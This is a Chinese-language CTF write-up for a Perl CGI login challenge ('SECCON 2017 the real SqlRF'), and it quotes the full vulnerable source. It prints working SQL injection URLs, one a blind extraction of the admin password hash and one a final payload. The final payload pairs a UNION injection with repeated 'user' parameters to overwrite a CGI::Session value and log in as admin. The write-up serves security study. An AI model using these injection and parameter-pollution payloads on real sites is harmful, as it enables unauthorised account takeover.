pwnhub_2017_1214 WriteUp

1

看到cgi,猜测题目目录在/cgi-bin/下

2

分析源码第23行,是存在注入的

  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

但是看后面的逻辑,session['autheduser'] == 'admin' 时才会有flag,哇这么简单的吗。于是注入语句出来了

http://54.222.248.100/cgi-bin/index.cgi?user=admin' and '$a$'=substr((select password from users where username='admin'),$1$,1) union select 'c4ca4238a0b923820dcc509a6f75849b&pass=1&login=login

得到md5:63730edfab254f34761c17e89de28086,解不出来。
根据R菊苣的ID加规则爆破一波?还不如直接爆破,放弃。

3

    if(my @row = $sth->fetchrow_array) {
      $md5->add($q->param('pass'));
      if($row[0] != '' && $q->param('pass') != '' && $row[0] == $md5->clone->hexdigest) {
        $s->param('autheduser', $q->param('user'));
        print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
        if ($s->param('autheduser') eq 'admin') {
            print "FLAG</p>";
        } else {
            print "Only admin can get the flag!</p>";
    }

然后通过队友提示得到了一篇文章

http://blog.gerv.net/2014/10/new-class-of-vulnerability-in-perl-web-applications/
index.cgi?foo=bar&foo=baz&foo=quux

#给数组时
@values = $cgi->param('foo');
-->
['bar', 'baz', 'quux']

#数组赋值给标量时取第一个值
$value = $cgi->param('foo'); 
-->
'bar'

#数组复制给散列时,两两一对,变成索引和键值
my @array = ("foo", 3, "bar", 6);
my %hash = @array;
-->
{ "foo" => 3, "bar" => 6 }

然后看文章

如果使用四个参数调用 new() 方法,前三个参数的处理逻辑与前端介绍的相同,第四个参数必须
是一个 hashref(哈希的引用)类型。它会被 CGI::Session 对象作为 “参数” 使用。详情
参见对【\%session_params】的介绍。

说明$s->param可以是散列的,所以就可以达成变量覆盖的效果。前方q->param('use')是个标量。所以poc为

http://54.222.248.100/cgi-bin/index.cgi?user=' union select 'c4ca4238a0b923820dcc509a6f75849b&user=autheduser&user=admin&pass=1&login=login

4 题目源码

#!/usr/bin/perl
 
use CGI;
my $q = new CGI;
 
use CGI::Session;
use Digest::MD5;
my $md5 = Digest::MD5->new;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M');
 
my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017 the real SqlRF', -bgcolor=>'black');
 
my $errmsg = '';
if($q->param('login') != '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      $md5->add($q->param('pass'));
      if($row[0] != '' && $q->param('pass') != '' && $row[0] == $md5->clone->hexdigest) {
        $s->param('autheduser', $q->param('user'));
        print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
        if ($s->param('autheduser') eq 'admin') {
            print "FLAG</p>";
        } else {
            print "Only admin can get the flag!</p>";
    }
        $errmsg = '';
      }
    }
  };
  if($@) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);
 
print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

标签: none

添加新评论